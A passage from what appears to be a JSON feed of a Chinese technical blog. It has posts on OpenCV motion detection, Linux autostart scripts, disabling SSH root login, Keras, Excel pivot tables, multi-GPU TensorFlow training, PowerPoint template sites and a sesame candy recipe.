cv2.destroyAllWindows() 這個程式執行之後，就會開啟一個視窗，顯示即時的物體偵測結果。\n儲存畫面 如果想要把偵測的結果儲存下來，可以參考 OpenCV 的圖片寫入與 OpenCV 影片寫入教學，把想要紀錄的畫面儲存下來。\n以下示範把偵測的結果寫入影片檔。在一開始的地方先設定輸出檔案：\n# 使用 XVID 編碼 fourcc = cv2.VideoWriter_fourcc(*\u0026#39;XVID\u0026#39;) # 建立 VideoWriter 物件，輸出影片至 output.avi out = cv2.VideoWriter(\u0026#39;output.avi\u0026#39;, fourcc, 16.0, (width, height)) 然後在顯示偵測結果影像的地方，把結果寫入檔案：\n# 寫入影格 out.write(frame) 這樣就可以產生偵測結果的影片了。\n若只想要儲存有物體移動的畫面，只要把輸出影片的程式碼移動到有偵測到物體的地方就可以了，上面這段程式碼只要稍加修改，就可以變化出許多應用，例如當偵測到物體移動時，送出 Email 通知管理者等。\n快速篩選監視器影像 現在許多社區或大樓都會裝設監視攝影機，若發生特別的事件時（例如遭小偷）就可以調閱這些攝影機的影片，協助警方辦案，而這類的攝影機所錄製下來的影片中，通常大部分都是沒有人的畫面，可能一小時中只有幾十秒是真的有拍到人，其餘都是空的。\n最常遇到的問題就是如何在這些大量監視攝影機的影片中，找出有人或是物體移動的畫面，在以前這種狀況是真的用人眼把上百小時的影片看完，非常費時又費力。\n若遇到這樣的狀況，就可以使用 Python 與 OpenCV 幫助我們快速篩選出有物體在移動的畫面，先把空拍的部份去除，用這種方式來分析影片，可以省下非常大量的時間。\n以下是用來篩選大量監視器影像的指令稿，其實整個大架構跟上面的程式差不多，只是畫面來源改從影片檔案讀取，而將有變動的畫面輸出成為單張的圖檔，沒有變動的部分就直接捨棄。\nimport cv2 import numpy as np import os # 影片檔案 videoFile = \u0026#34;my_video.m4v\u0026#34; # 輸出目錄 outputFolder = \u0026#34;my_output\u0026#34; # 自動建立目錄 if not os.path.exists(outputFolder): os.makedirs(outputFolder) # 開啟影片檔 cap = cv2.VideoCapture(videoFile) # 取得畫面尺寸 width = cap.get(cv2.CAP_PROP_FRAME_WIDTH) height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT) # 計算畫面面積 area = width * height # 初始化平均畫面 ret, frame = cap.read() avg = cv2.blur(frame, (4, 4)) avg_float = np.float32(avg) # 輸出圖檔用的計數器 outputCounter = 0 while(cap.isOpened()): # 讀取一幅影格 ret, frame = cap.read() # 若讀取至影片結尾，則跳出 if ret == False: break # 模糊處理 blur = cv2.blur(frame, (4, 4)) # 計算目前影格與平均影像的差異值 diff = cv2.absdiff(avg, blur) # 將圖片轉為灰階 gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY) # 篩選出變動程度大於門檻值的區域 ret, thresh = cv2.threshold(gray, 25, 255, cv2.THRESH_BINARY) # 使用型態轉換函數去除雜訊 kernel = np.ones((5, 5), np.uint8) thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2) thresh = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel, iterations=2) # 產生等高線 cntImg, cnts, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) hasMotion = False for c in cnts: # 忽略太小的區域 if cv2.contourArea(c) \u0026lt; 2500: continue hasMotion = True # 計算等高線的外框範圍 (x, y, w, h) = cv2.boundingRect(c) # 畫出外框 cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2) if hasMotion: # 儲存有變動的影像 cv2.imwrite(\u0026#34;%s/output_%04d.jpg\u0026#34; % (outputFolder, outputCounter), frame) outputCounter += 1 # 更新平均影像 cv2.accumulateWeighted(blur, avg_float, 0.01) avg = cv2.convertScaleAbs(avg_float) cap.release() 將監視攝影機的影片輸入進去之後，就會自動篩選出有偵測到物體移動的畫面，輸出至指定的目錄，讓程式先篩選過之後，人再來看的話，就會方便很多。\n參考資料 pyimagesearch towards data science blog.kronis.dev ","permalink":"https://blog.gtwang.org/programming/opencv-motion-detection-and-tracking-tutorial/","summary":"\u003cp\u003e這裡示範如何使用 Python 與 OpenCV 實作移動偵測程式，分析攝影機影片，自動挑選出有物體移動的畫面。\u003c/p\u003e\n\u003cp\u003eOpenCV 是一個很好用的影像處理函式庫，裡面有非常多在影像處理上常會用到的工具函數，我們只需要拿幾個簡單的函數組合起來，就可以打造一個效果還不錯的智慧型監視器，自動且即時的分析攝影機的影像，當偵測到有人或物體在移動時，讓程式自動觸發某些動作（例如送出通知的 Email 等），以下是幾個簡單的實作範例。\u003c/p\u003e","title":"Python 與 OpenCV 實作移動偵測程式教學，打造智慧型監視器"},{"content":"這裡介紹如何在 Linux 上設定系統開機、使用者登入與登出時自動執行的指令。\n在 Linux 系統上如果想要在開機時自動執行某些指令，或是在使用者登入或登出時，自動執行某些程式，只要將要執行的指令寫在對應的系統設定檔中，就可以輕鬆達到這個效果，以下是幾種常見的設定方式。\nLinux 開機自動執行指令 若要讓指定的程式可以在 Linux 開機時自動執行，傳統上的作法就是把指定加在 /etc/rc.local 這個指令稿中，只要放在這裡的指令，在每次 Linux 開機時就會自動被執行。\n假設我們有一個自己寫的指令稿，放在 /opt/my_script.sh，若要讓 Linux 系統開機可自動執行的話，首先要確認這個指令稿有執行權限：\nchmod +x /opt/my_script.sh 接著在 /etc/rc.local 中加入這一行指令稿：\n# 在結尾的 exit 0 之前加入指令稿 /opt/my_script.sh exit 0 某些 Linux 發行版（例如 Ubuntu）的 /etc/rc.local 最後一行會是 exit 0，若果有這一行的話，在加上自己的指令稿時就要放在這一行之前，如果沒有這一行（例如 CentOS），就把自己的指令稿放在最後即可。\n加在 /etc/rc.local 的指令在開機時會以 root 的權限來執行，如果想要改用其他的使用者權限執行的話，可以使用 sudo 來切換成指定的使用者權限：\n# 使用 gtwang 這個使用者權限執行 sudo -u gtwang /opt/my_script.sh 使用者登入自動執行指令 若要讓 Linux 系統上的每一位使用者在登入的時候，自動執行某些程式（例如開啟瀏覽器等），可以將要執行的指令寫在 /etc/profile 中，這樣的話設定就會套用至所有的使用者，例如：\n/home/gtwang/my_script.sh 這裡同樣記得要確認該指令稿有執行權限：\nchmod +x /home/gtwang/my_script.sh 如果只是要讓個別使用者登入執行的程式，就寫在使用者個人的 ~/.bash_profile、~/.bash_login 或是 ~/.profile 當中，就看自己的家目錄下所使用的是那一個，就把指令加進去即可，bash 在使用者登入時，會依序尋找這三個檔案，它只會執行第一個找到的那一個，假設 ~/.bash_profile 這個檔案存在，它就會執行這一個，而後面兩個就不管了，以此類推。\n這裡所設定的使用者登入自動執行指令，都會以登入的那一位使用者的權限來執行，所以通常比較不會有切換權限的問題。\n另外補充一點，/etc/bash.bashrc 與 ~/.bashrc 也是很常被使用的 bash 設定檔，這兩個檔案的用途跟上面的 profile 設定檔很類似，不過有些差異：\nprofile 設定檔：登入型 shell（login shell）所執行的指令稿，例如使用者登入。 bashrc 設定檔：非登入型 shell 所執行的指令稿，例如開啟終端機視窗。 而通常在 profile 的指令稿中，也會呼叫 bashrc 的指令稿，也就是說如果把指令寫在 bashrc 的指令稿中的話，只要打開互動式的 shell 或是登入時，都會被執行，而如果寫在 profile 中的的話，就真的只有登入時才會執行。\n使用者登出自動執行指令 若要設定使用者登出時所要自動執行的程式，可將指令寫在自己的 ~/.bash_logout 指令稿中（如果不存在，就自己建立一個），例如：\n/home/gtwang/my_script2.sh 同樣要確認執行權限：\nchmod +x /home/gtwang/my_script2.sh 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/auto-execute-linux-scripts-during-boot-login-logout/","summary":"\u003cp\u003e這裡介紹如何在 Linux 上設定系統開機、使用者登入與登出時自動執行的指令。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上如果想要在開機時自動執行某些指令，或是在使用者登入或登出時，自動執行某些程式，只要將要執行的指令寫在對應的系統設定檔中，就可以輕鬆達到這個效果，以下是幾種常見的設定方式。\u003c/p\u003e","title":"Linux 如何設定開機、登入與登出自動執行的指令或程式？"},{"content":"本篇教大家如何自己在家 DIY 製作黑芝麻糖，既健康又營養。\n黑芝麻在收成與曝曬之後，除了拿去榨成黑麻油之外，也可以製作成芝麻糖，以下是自己製作黑芝麻糖的步驟教學。\n工具與材料 這個黑芝麻糖的作法是來自於民國九十一年的西港鄉家政班推廣講義。\n需要準備的工具有：豆漿袋、托盤、桿麵棍、菜刀（或檳榔刀）、兩個鍋子與鍋鏟。\n這裡的托盤與桿麵棍在使用前要先塗上一層油，這樣在桿芝麻糖的時候，可以避免芝麻糖黏在上面。\n鍋子的部分要準備一大一小，大的炒鍋要用來炒黑芝麻，而小的則用來熬煮糖膏。\n這是用一斤黑芝麻製作芝麻糖的配方：\n材料 量 芝麻 600 公克 砂糖 150 公克 水 50 毫升 麥芽糖 100 公克 這裡我們用自己家種植的黑芝麻，而砂糖與麥芽糖就從一般超市購買。\n麥芽糖的選擇很重要，這次我們選用的是這款正日光的麥芽糖，製作起來的成果還不錯。\n我們有直接與正日光麥芽糖的老闆聯繫過，老闆本身就是素食者，其販售的麥芽糖都是全素的（有甜的、鹹的與治咳嗽的），素食者可以放心使用。若有需要大包裝的麥芽糖，也可以直接打電話跟老闆洽詢。\n製作前依照配方把黑芝麻、砂糖、麥芽糖與水這四種材料準備好。\n作法 這是黑芝麻糖的製作過程影片，步驟包含洗黑芝麻、炒黑芝麻、熬煮糖膏、混合成芝麻糖、桿平與切塊。\n以下是詳細的圖文說明。\n混合麥芽糖、砂糖、水 將麥芽糖、砂糖、水混合在一起，準備熬煮糖膏。\n混合的時候，要先把砂糖與水先倒入鍋子中，再把麥芽糖放進去，這樣才不會黏鍋，而在挖麥芽糖的時候，也要注意不要讓麥芽糖黏到鍋子旁邊的部分。\n清洗芝麻 將黑芝麻用清水洗乾淨，清洗時可以使用豆漿袋把芝麻包起來洗，或是使用篩子來洗也可以。\n清洗的重點在於動作要快，不可以洗太久，快速沖一下就要趕快擰乾，避免芝麻吸收太多水分，若芝麻吸了太多水，炒芝麻的時候就要炒比較久，而且也比較不會香。\n如果黑芝麻在採收的時候，就處理的很乾淨的話，其實也可以不用洗。\n炒黑芝麻 以乾燥的芝麻來說，小火慢慢炒大約要炒 20 分鐘左右，如果是剛洗好的芝麻，就要炒更久一點。\n如果黑芝麻沒有洗，是以乾燥的狀態放下去炒的話，熬煮糖膏的那個爐子就可以同時開火，這樣黑芝麻炒好時，糖膏應該也差不多好了，而若是炒剛洗過的芝麻，就要等到芝麻炒乾時，再把糖膏的火開起來，這樣時間才會比較剛好。\n一開始炒濕的黑芝麻，還有快好的時候，火可以稍微大一點點，但中間過程都要小火慢炒。\n黑芝麻要小火慢慢炒，直到有微微的爆裂聲，就表示已經好了。\n熬煮糖膏 將混合好的麥芽糖、砂糖、水，以小火熬煮，再熬煮的過程中，要用筷子慢慢攪拌（順時針或逆時針固定方向攪拌）。\n小火熬煮大約十幾分鐘，煮到冒泡泡就快好了，熬至適當的濃稠度時，就可以跟炒好的芝麻拌在一起。熬煮時記得要用小火慢慢熬。\n糖膏的濃稠度掌握需要一點經驗，原則上是用竹筷子沾一點糖膏，若發現它稠稠的、不會馬上滴下去，就差不多了，這部分請參考影片裡面的示範與說明。\n由於炒黑芝麻與熬煮糖膏要同時進行，所以如果有兩個人一起做，會比較好，而且最好是在芝麻炒好時，糖膏也同時完成，這樣拌在一起的時候會比較好拌，而這個需要一點經驗。\n混合黑芝麻與糖膏 將熬煮好的糖膏與炒好的黑芝麻混合在一起。\n混合的時候，要一邊倒入糖膏一邊用鍋鏟拌勻，讓芝麻與糖膏均勻混合，這個動作要快，必須在糖膏凝固前拌好，並放進托盤中定型。\n這是拌勻後的樣子。\n這些拌勻後的芝麻糖還非常燙，趁熱把它放進托盤中（托盤一定要先抹油，否則就會像影片的 NG 片段一樣，整個黏住）。\n用桿麵棍把芝麻糖桿平。\n桿平的時候，也不用太用力，只要桿的平整就可以了。桿的力道會直接影響芝麻糖成品的軟硬程度，桿紮實一點的話，芝麻糖就會比較硬。\n這是桿平之後的樣子。\n趁著芝麻糖還有一點溫度時，用刀子切塊，如果等到冷卻之後，就會切不下去，也很容易碎掉。\n切塊時也可以用這種比較小把的檳榔刀，會比大菜刀好切。\n這種檳榔刀很方便，五金行就可以買得到。\n若想把芝麻糖切成長條狀也可以，原則上就是要趁熱切，若冷掉就沒辦法切了。\n切塊之後，再把芝麻糖從托盤中取出。\n這樣就是製作好的黑芝麻糖了。\n這次我們在炒芝麻的時候，不小心炒太焦了一些，那些呈現咖啡色的就是炒過頭的芝麻，吃起來會有一些焦味，不過還是很好吃。\n這次的黑芝麻糖切得比較大塊點，如果可以切 1.5cm × 1.5cm 會較剛好。\n做好芝麻糖之後，可以上網買這種密封袋，放入脫氧劑，密封包裝之後，大約可以放半年左右，要送給親朋好友也很方便。\n這是阿玄看到包裝好的芝麻糖，自己畫下來的塗鴉畫。\n","permalink":"https://blog.gtwang.org/diy/diy-crunchy-sesame-seed-candy-20171231/","summary":"\u003cp\u003e本篇教大家如何自己在家 DIY 製作黑芝麻糖，既健康又營養。\u003c/p\u003e\n\u003cp\u003e黑芝麻在\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171203/\"\u003e收成與曝曬\u003c/a\u003e之後，除了拿去\u003ca href=\"/agriculture/pressing-sesame-oil-sigang-tainan-20171204/\"\u003e榨成黑麻油\u003c/a\u003e之外，也可以製作成芝麻糖，以下是自己製作黑芝麻糖的步驟教學。\u003c/p\u003e\n\u003ch2 id=\"工具與材料\"\u003e工具與材料\u003c/h2\u003e\n\u003cp\u003e這個黑芝麻糖的作法是來自於民國九十一年的西港鄉家政班推廣講義。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"黑芝麻糖製作講義\" loading=\"lazy\" src=\"/diy/diy-crunchy-sesame-seed-candy-20171231/diy-crunchy-sesame-seed-candy-20171231-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e需要準備的工具有：豆漿袋、托盤、桿麵棍、菜刀（或檳榔刀）、兩個鍋子與鍋鏟。\u003c/p\u003e","title":"[DIY] 黑芝麻糖製作方法教學"},{"content":"這裡介紹如何在 Keras 的程式中查詢深度學習模型參數的總數量。\nKeras 可用來快速搭建各種深度學習模型，但是在嘗試各種模型的過程中，我們也時常會需要了解模型的結構與參數的數量，方便調整模型。\n這裡我們以手寫數字辨識的例子來作為示範，這是建立模型的程式碼（準備資料的部分以及最後訓練模型的部分拿掉了）。\nimport tensorflow as tf num_classes = 10 img_rows, img_cols = 28, 28 input_shape = (img_rows, img_cols, 1) model = tf.contrib.keras.models.Sequential() model.add(tf.contrib.keras.layers.Conv2D(32, kernel_size=(3, 3), activation=\u0026#39;relu\u0026#39;, input_shape=input_shape)) model.add(tf.contrib.keras.layers.Conv2D(64, (3, 3), activation=\u0026#39;relu\u0026#39;)) model.add(tf.contrib.keras.layers.MaxPooling2D(pool_size=(2, 2))) model.add(tf.contrib.keras.layers.Dropout(0.25)) model.add(tf.contrib.keras.layers.Flatten()) model.add(tf.contrib.keras.layers.Dense(128, activation=\u0026#39;relu\u0026#39;)) model.add(tf.contrib.keras.layers.Dropout(0.5)) model.add(tf.contrib.keras.layers.Dense(num_classes, activation=\u0026#39;softmax\u0026#39;)) 若要查詢深度學習模型參數的數量，可在模型建立好之後，呼叫 Keras 本身所提供的 count_params 來取得所有的參數總量：\n# 模型建立完成後，統計參數總量 print(\u0026#34;Total Parameters：%d\u0026#34; % model.count_params()) Total Parameters：1199882 以這個手寫數字辨識的例子來說，整個模型中包含了 1,199,882 個參數，也就是說在使用 SGD 找最佳解時，是在 1,199,882 維的空間中尋找，所以控制這個參數總量是很重要的。\n另外一個更好用的函數是 summary，它可以輸出整個模型的摘要資訊，包含簡單的結構表與參數統計，這個資訊可以讓整個模型一目瞭然：\n# 輸出模型摘要資訊 model.summary() _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= conv2d_1 (Conv2D) (None, 26, 26, 32) 320 _________________________________________________________________ conv2d_2 (Conv2D) (None, 24, 24, 64) 18496 _________________________________________________________________ max_pooling2d_1 (MaxPooling2 (None, 12, 12, 64) 0 _________________________________________________________________ dropout_1 (Dropout) (None, 12, 12, 64) 0 _________________________________________________________________ flatten_1 (Flatten) (None, 9216) 0 _________________________________________________________________ dense_1 (Dense) (None, 128) 1179776 _________________________________________________________________ dropout_2 (Dropout) (None, 128) 0 _________________________________________________________________ dense_2 (Dense) (None, 10) 1290 ================================================================= Total params: 1,199,882 Trainable params: 1,199,882 Non-trainable params: 0 _________________________________________________________________ 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/how-to-find-number-of-parameters-of-a-keras-model/","summary":"\u003cp\u003e這裡介紹如何在 Keras 的程式中查詢深度學習模型參數的總數量。\u003c/p\u003e\n\u003cp\u003eKeras 可用來快速搭建各種深度學習模型，但是在嘗試各種模型的過程中，我們也時常會需要了解模型的結構與參數的數量，方便調整模型。\u003c/p\u003e","title":"Keras 如何查詢模型參數的總數量？"},{"content":"這裡介紹如何使用 Excel 的樞紐分析表功能，分析各種複雜的資料，並提供實際的參考範例。\nExcel 的樞紐分析表是一個非常好用、而且功能強大的資料分析工具，它可以讓我們將雜亂無章的原始資料去蕪存菁，快速整理出有用的統計報表，精確掌握資料的整理趨勢，幫助我們判斷與決策方向。以下是 Excel 樞紐分析表的使用教學與範例。\nExcel 樞紐分析表基本操作 Excel 的樞紐分析表是一個功能非常強大的資料分析工具，可以將大量的資料自動轉換為清楚明暸的統計表格，非常好用。\n這裡我們以一個簡單的帳目表資料來示範如何使用 Excel 樞紐分析表，假設我們有一個 Excel 的帳目表如下：\n這個表格只是普通的流水帳，很難看出整體性的帳目情況，以下我們將使用樞紐分析表，計算出各個月份與各個項目的支出統計。\nStep 1\n在 Excel 的「插入」頁面中，點選「樞紐分析表」。\nStep 2\n選擇輸入資料的表格範圍，並且選擇要放置樞紐分析表的位置。\nStep 3\n剛插入一個新的樞紐分析表時，它會是空白的，我們要繼續設定樞紐分析表的欄位，實際的表格才會出現。\nStep 4\n從「樞紐分析表欄位」的設定中，先勾選要使用的資料欄位，這裡我們想要統計各個「項目」與「月份」的「金額」，所以就把這三個欄位都勾選起來。\n勾選好要使用的欄位之後，接著在下方用滑鼠拖拉的方式，設定欄位的位置，這裡我們把「項目」放在橫的「欄」，而「月份」放在直的「列」，然後將「金額」放在最主要的「值」，設定好之後就會得到下圖中間的那張樞紐分析表了。\n在這張樞紐分析表中，我們就可以很清楚看出每個月各種項目的總金額。\n如果想要改變表格的方向，可以將「欄」與「列」中的欄位互換，這樣就可以把表格轉個方向。\nStep 5\n我們也可以把兩個欄位都放在「欄」或是「列」中，Excel 會自動調整樞紐分析表，呈現合適的排版。\n如果將多個欄位放在一起時，欄位的順序也會影響排版與資料的呈現方式，使用者可以依照自己的需求來調整。\n改變資料計算方式 放在「值」的欄位預設會以加總的方式計算資料，我們也可以依據自己的需求，自訂欄位計算方式。以下示範如何讓樞紐分析表呈現資料筆數。\nStep 1\n在「值」的「加總 \u0026ndash; 金額」欄位的選單中，選擇「欄位設定值」。\nStep 2\n在欄位設定的視窗中，將「自訂名稱」改為自己想要呈現的欄位名稱，例如「筆數」，而下方的計算方式則選擇「項目個數」。\nStep 3\n這樣就得到計算筆數的樞紐分析表了。\n樞紐分析表的資料計算方式有很多種，例如「加總」、「項目個數」、「平均值」、「最大值」、「最小值」與「乘積」，使用者可以自己調整。\n同時呈現多種資料值 樞紐分析表中可以同時呈現多種資料的計算方式，以下是操作步驟。\nStep 1\n若要新增欄位，可以將上方的欄位拖拉到下方。\nStep 2\n這樣就可以讓樞紐分析表同時呈現多個欄位。\n樞紐分析圖 產生了文字的樞紐分析表之後，我們還可以將其繪製成樞紐分析圖，以視覺化的方式呈現資料。\nStep 1\n加入樞紐分析圖之前，請先點選 Excel 中已經產生的樞紐分析表，不管選擇哪一個儲存格都可以，點選後應該就可以在上方的工具列中看到「樞紐分析表工具」。\n點選「樞紐分析表工具」中的「分析」籤頁，從中選擇「樞紐分析圖」。\nStep 2\n選擇圖形的種類與樣式。\nStep 3\n這樣就完成一張樞紐分析圖了。\nStep 4\n我們也可以從「樞紐分析表工具」的「設計」籤頁中，調整一下表格與圖形的配色，讓報表更美觀。\n產生出來的樞紐分析圖也可以直接以複製貼上的方式，貼在 PowerPoint 的簡報檔中。\n實際範例 這是我從政府資料開放平台上面下載的不動產買賣實價登錄批次資料，我拿一些 106 年臺南市不動產實價登錄資訊來示範樞紐分析。\n像這種實價登錄資料欄位非常多，資料也非常雜亂，直接用眼睛看真的無法看出整體的趨勢。\n這時候如果使用樞紐分析表，就可以快速篩選出有用的資訊，假設我們想看台南市各個行政區的「一般農業區」與「特定農業區」的「農牧用地」交易行情，就可以把行政區與土地使用分區放在「列」與「欄」中，並將土地使用編定放在篩選欄位中，篩選出「農牧用地」，而「值」的部分就放土地的單價，這樣就可以輕鬆得到很有用的統計資訊了。\n放在「欄」與「列」的資料也可以使用篩選功能，讓它只顯示出部分的欄位，把不重要的資訊隱藏起來，在這裡我們有興趣的只有「一般農業區」與「特定農業區」的土地，所以就可以調整「欄」的篩選設定，只讓這兩種資料顯示出來。\n由於在調整樞紐分析表的設定時，它會立即更新報表，所以透過一邊調整設定，一邊看統計結果，就可以很方便的找出我們有興趣的數據。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/excel-pivot-table-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 的樞紐分析表功能，分析各種複雜的資料，並提供實際的參考範例。\u003c/p\u003e\n\u003cp\u003eExcel 的樞紐分析表是一個非常好用、而且功能強大的資料分析工具，它可以讓我們將雜亂無章的原始資料去蕪存菁，快速整理出有用的統計報表，精確掌握資料的整理趨勢，幫助我們判斷與決策方向。以下是 Excel 樞紐分析表的使用教學與範例。\u003c/p\u003e","title":"Excel 樞紐分析表使用教學與實際資料範例"},{"content":"這裡整理了許多可以免費下載 PowerPoint 範本的網站，可用來快速製作高品質的簡報。\nSlides Carnival Slides Carnival 提供許多富有設計感的高品質 PPT 簡報範本，同時也適用於 Google Slides，是一個非常棒的網站。\n名稱：TemplatesWise.com\n網址：https://www.slidescarnival.com/\nChinaZ.com ChinaZ.com 是中國大陸的網站，上面有不少高品質的 PPT 簡報範本。\n名稱：ChinaZ.com\n網址：https://sc.chinaz.com/\nSlide Hunter Slide Hunter 提供了大量的免費 PPT 簡報範本，可以按照分類或以搜尋功能找到適合的簡報範本。\n名稱：Slide Hunter\n網址：https://slidehunter.com/\nTemplatesWise.com TemplatesWise.com 提供了大量的免費 PPT 簡報範本，分為一般通用（General）、抽象（Abstract）、商業（Business）、財經（Finance）、自然（Nature）與旅行（Travel）六大類。\n名稱：TemplatesWise.com\n網址：https://www.templateswise.com/\nSmile Templates Smile Templates 提供許多免費 PPT 簡報範本，大部分也都適用於 Google Slides。\n名稱：Smile Templates\n網址：https://www.smiletemplates.com/\nFree PPT Templates Free PPT Templates 蒐集了一些抽象風格的免費 PPT 簡報範本。\n名稱：Free PPT Templates\n網址：https://www.freeppttemplates.com/\n","permalink":"https://blog.gtwang.org/windows/free-powerpoint-template-download/","summary":"\u003cp\u003e這裡整理了許多可以免費下載 PowerPoint 範本的網站，可用來快速製作高品質的簡報。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"slides-carnival\"\u003eSlides Carnival\u003c/h2\u003e\n\u003cp\u003eSlides Carnival 提供許多富有設計感的高品質 PPT 簡報範本，同時也適用於 Google Slides，是一個非常棒的網站。\u003c/p\u003e","title":"PowerPoint 免費佈景主題範本下載網站整理"},{"content":"這裡介紹如何在 Linux 系統上更改 SSH 服務設定，讓 root 管理者無法遠端登入，降低被駭客入侵的風險。\n在實務上大部分的 Linux 伺服器都是放在機房內，並開啟 SSH 服務讓管理者以遠端登入的方式來管理 Linux 系統，除非真的有必要（例如更換硬體等），否則管理者不會直接在伺服器前面操作（有進去過機房的人就知道裡面其實很吵，而且很冷）。\n若要在遠端以 SSH 連進 Linux 系統進行管理動作，有幾種不同的作法，最簡單的就是用 root 帳號直接透過 SSH 登入系統，但是這樣做的風險比較高，因為 root 這個帳號名稱試種所皆知的名字，如果 SSH 服務又對外開放，網路上的駭客就可以用暴力法嘗試破解 root 的密碼，萬一密碼又設定的很簡單，可能就很容易被攻破。\n另外一種比較好的方式就是把 root 帳號的 SSH 遠端登入功能關閉，然後讓管理者以一般的使用者帳號登入後，再以 sudo 等方式切換成 root 進行管理，這樣一來外部的駭客就完全不知道到底系統上有哪些帳號，以及哪些帳號有 sudo 權限，這樣就比較不容易被猜出帳號密碼。\n以下是將 root 的 SSH 遠端登入功能關閉的步驟。\nSSH 關閉 root 遠端登入 在關閉 root 的 SSH 遠端登入功能之前，請先參考 Linux 的 su 與 sudo 指令教學與範例，確認自己的一般使用者帳號可以取得管理者權限，如果一般使用者帳號無法取得管理者權限的話，root 遠端登入功能一關閉，就只能從本機登入來管理機器了。\n以 root 管理者權限編輯 /etc/ssh/sshd_config 這個 SSH 服務的設定檔，修改 PermitRootLogin 選項，將其設定為 no 即可關閉 root 遠端登入的功能。\n# 禁止 root 管理者登入 PermitRootLogin no 若只希望 root 管理者不要以密碼認證方式登入（允許公鑰認證方式登入），可以將 PermitRootLogin 設定為 prohibit-password 或 without-password：\n# 禁止 root 管理者以密碼認證登入（允許公鑰認證方式登入） PermitRootLogin prohibit-password 若希望 root 管理者僅能以公鑰認證方式登入，並且在登入之後只能執行特定指令，可以將 PermitRootLogin 設定為 forced-commands-only（採用這個選項之後，要搭配 ForceCommand 指定允許執行的指令）：\n# 僅允許 root 管理者以公鑰認證方式登入，並限制執行的指令 PermitRootLogin forced-commands-only 修改好之後，重新啟動 SSH 服務，不同的 Linux 發行版會使用不同的指令：\n# 重新啟動 SSH 服務 sudo systemctl restart sshd 重新啟動之後，就算知道 root 的密碼，也無法直接透過 SSH 登入了。\n補充說明，Vim 若要編輯 /etc/ssh/sshd_config 時，設定的 syntax 為 sshconfig。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/howto-disable-ssh-root-login-in-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上更改 SSH 服務設定，讓 root 管理者無法遠端登入，降低被駭客入侵的風險。\u003c/p\u003e\n\u003cp\u003e在實務上大部分的 Linux 伺服器都是放在機房內，並開啟 SSH 服務讓管理者以遠端登入的方式來管理 Linux 系統，除非真的有必要（例如更換硬體等），否則管理者不會直接在伺服器前面操作（有進去過機房的人就知道裡面其實很吵，而且很冷）。\u003c/p\u003e","title":"Linux 禁止 root 管理者以 SSH 登入，強化系統安全性"},{"content":"本篇記錄如何使用多張 GPU 顯示卡，加速 TensorFlow Object Detection API 模型訓練的過程。\n雖然 TensorFlow Object Detection API 已經有支援多張 GPU 卡平行計算的功能，但是缺乏說明文件，所以我自己也不是非常確定該怎麼用，以下只是我目前嘗試出來的方式，僅供參考。\n這裡我們接續之前的 TensorFlow Object Detection API 自行訓練模型教學，將 Oxford-IIIT Pet Dataset 的範例改成多 GPU 的版本。\n使用多 GPU 卡時，會把每個 batch 的資料分散至每張 GPU 卡，也就是可以讓 batch size 變大，所以在 train_config 的 batch_size 要自己修改一下，要讓資料可以平均分散至每張 GPU 卡，最簡單的修改方式就是看自己有多少張 GPU 卡，就乘以多少。\n在預設的設定值中，batch_size 的值是 1，現在我打算用 3 張 GPU 卡，所以就改成 3：\ntrain_config: { batch_size: 3 optimizer { # [略] } # [略] } 由於 batch size 變大了，收斂的速度應該也會變快，所以 optimizer 內的參數應該也是要改的，不過要怎麼改就要看實際情況而定，這個部分就自己看著辦。\n改好設定檔之後，接著就可以使用多張 GPU 卡平行運算，使用的指令幾乎沒有變，只是加上兩個參數：\n--num_clones：指定 GPU 卡的數量。 --ps_tasks：指定參數伺服器的數量。 另外再以 CUDA_VISIBLE_DEVICES 指定要使用哪幾張 GPU 卡，完整的指令搞如下：\n# 設定檔路徑 PIPELINE_CONFIG=\u0026#34;object_detection/data/faster_rcnn_resnet101_pets.config\u0026#34; # 訓練結果放置路徑 MY_MODEL_DIR=\u0026#34;my_model\u0026#34; # 使用前三張 GPU 卡進行訓練 CUDA_VISIBLE_DEVICES=,1,2 python object_detection/train.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --train_dir=${MY_MODEL_DIR}/train --num_clones=3 --ps_tasks=1 # 使用第四張 GPU 卡進行驗證 CUDA_VISIBLE_DEVICES=3 python object_detection/eval.py --logtostderr --pipeline_config_path=${PIPELINE_CONFIG} --checkpoint_dir=${MY_MODEL_DIR}/train --eval_dir=${MY_MODEL_DIR}/eval 指令執行之後，我們可以使用 nvidia-smi 來查看每一張 GPU 卡的使用情況，看看是不是真的有同時用到三張 GPU 卡訓練：\nnvidia-smi Tue Dec 26 15:35:34 2017 +-----------------------------------------------------------------------------+ | NVIDIA-SMI 384.81 Driver Version: 384.81 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 TITAN Xp Off | 00000000:02:00.0 Off | N/A | | 44% 72C P2 186W / 250W | 11763MiB / 12189MiB | 84% Default | +-------------------------------+----------------------+----------------------+ | 1 TITAN Xp Off | 00000000:03:00.0 Off | N/A | | 47% 76C 